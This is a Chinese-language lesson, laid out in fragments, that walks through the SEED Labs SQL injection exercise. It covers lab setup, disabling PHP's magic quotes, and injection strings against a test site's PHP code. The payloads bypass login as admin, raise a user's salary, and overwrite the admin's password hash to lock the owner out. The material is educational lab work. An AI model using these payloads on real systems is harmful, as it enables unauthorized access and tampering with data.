什麼是SQL注入攻擊?
長衫大佬可以坐下來,聽聽我
講
(tree)
故
(new)
事
(bee):
基本SQL語法
select
語句用於從表中選取資料
select 列名 from 表名
update
語句用於修改表中的資料
update 表名 set 列名 2= 值2 where 列名1 = 值1
通俗的說 什麼是SQL注入呢?
就是使用者輸入的時候 輸入SQL語句 更改後臺SQL語句的預定的執行命令
實驗環境準備
在
SEED Ubuntu12
虛擬機器中安裝
SQL
注入實驗網站
$ tar -zxvf 。/patch。tar。gz
$
cd
patch
$ chmod a+x bootstrap。sh
$ 。/bootstrap。sh
關閉
PHP SQL
注入攻擊保護機制
在
/etc/php5/apache2/php。ini
檔案中
修改
magic quotes gpc = On
為
Off
啟動
Apache
服務(
sudo service apache2 start
)
在另一臺Linux主機上配置
DNS
(在
/etc/hosts
檔案新增)
192。168。59。156 www。seedlabsqlinjection。com
ok!現在你可以成功訪問了 透過命令列登入並檢視資料庫資訊如下
$ mysql -u root -pseedubuntu
mysql> use Users
;
mysql> show tables
;
+————————-+
|
Tables_in_Users
|
+————————-+
|
credential
|
+————————-+
mysql>
select
* from credential
;
+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+
|
ID
|
Name
|
EID
|
Salary
|
birth
|
SSN
|
PhoneNumber
|
Address
|
|
NickName
|
Password
|
+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+
|
1
|
Alice
|
10000
|
20000
|
9/20
|
10211002
|
|
|
|
|
fdbe918bdae83000aa54747fc95fe0470fff4976
|
|
2
|
Boby
|
20000
|
30000
|
4/20
|
10213352
|
|
|
|
|
b78ed97677c161c1c82c142906674ad15242b2d4
|
|
3
|
Ryan
|
30000
|
50000
|
4/10
|
98993524
|
|
|
|
|
a3c50276cb120637cca669eb38fb9928b017e9ef
|
|
4
|
Samy
|
40000
|
90000
|
1/11
|
32193525
|
|
|
|
|
995b8b8c183f349b3cab0ae7fccd39133508d2af
|
|
5
|
Ted
|
50000
|
110000
|
11/3
|
32111111
|
|
|
|
|
99343bff28a7bb51cb6f22cb20a618701a2c2f58
|
|
6
|
Admin
|
99999
|
400000
|
3/5
|
43254314
|
|
|
|
|
a5bdf35a1df4ea895905f6f6618e83951a6effc0
|
+——+————-+————-+————+————-+——————+——————-+————-+————-+——————+——————————————————————+
網站原始基本資訊如下:
User Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin
99999
seedadmin
400000
3/5
43254314
Alice
10000
seedalice
20000
9/20
10211002
Boby
20000
seedboby
50000
4/20
10213352
Ryan
30000
seedryan
90000
4/10
32193525
Samy
40000
seedsamy
40000
1/11
32111111
Ted
50000
seedted
110000
11/3
24343244
1.SQL注入:如何越權直接變身成admin ?
下面是網站登入模組的程式碼 找找漏洞?
$conn
=
getDB
();
$sql
=
“SELECT id, name, eid, salary, birth, ssn,
phonenumber, address, email, nickname, Password
FROM credential
WHERE eid= ‘
$input_eid
’ and password=‘
$input_pwd
’”
;
$result
=
$conn
->
query
(
$sql
))
// The following is psuedo code
if
(
name
==
‘admin’
){
return
All
employees
information
。
}
else
if
(
name
!=
NULL
){
return
employee
information
。
}
else
{
authentication
fails
。
}
漏洞:
“WHERE eid= ‘$input_eid’ and password=‘$input_pwd’”
攻擊串:
‘ or Name=’admin‘;#
成功登入如下
2.SQL注入:如何修改salary 搖身一變變大款 ?
網站提供了一個頁面 讓使用者修改自己的
暱稱 郵件 地址 電話 密碼
更新個人資訊的程式碼是這樣寫的 如何才能修改自己的
salary
金錢呢?
$conn = getDB();
$sql = “UPDATE credential SET nickname=’$nickname‘,
email=’$email‘,
address=’$address‘,
phonenumber=’$phonenumber‘,
Password=’$pwd‘
WHERE id= ’$input_id‘ ”;
$conn->query($sql))
咱們在命令列檢視資料庫的時候 是不是看到了Salary資訊
漏洞:
$sql = “UPDATE credential SET nickname=’$nickname‘,。。。
攻擊串:
’,salary=‘9999999’ where Name=‘Alice’#
瞬間讓
Alice
同學成為最富有的人
3.SQL注入:如何修改password 讓admin無路可走 ?
root@gt:/home#
echo
-n
”seedadmin“
|
openssl sha1
(
stdin
)=
a5bdf35a1df4ea895905f6f6618e83951a6effc0
root@gt:/home#
echo
-n
”hackbiji。top“
|
openssl sha1
(
stdin
)=
a504e9efce2d451b08c285b2dfd2e7f8b241ba03
root@gt:/home#
攻擊串:
‘,Password=’a504e9efce2d451b08c285b2dfd2e7f8b241ba03‘ where Name=’Admin‘#
現在
Admin
登入不上自己的帳號了 可憐的站長
彩蛋:
駭客筆記 網路安全往事三部曲第15次課 到此已經結束 感謝大家的支援
Live結束 將提供一個為期一年的網站 供學員自由
hack
希望讀者聽眾堅持理想
網站IP地址:
見Live末尾
有效期:
2018。9。1 - 2019。8。31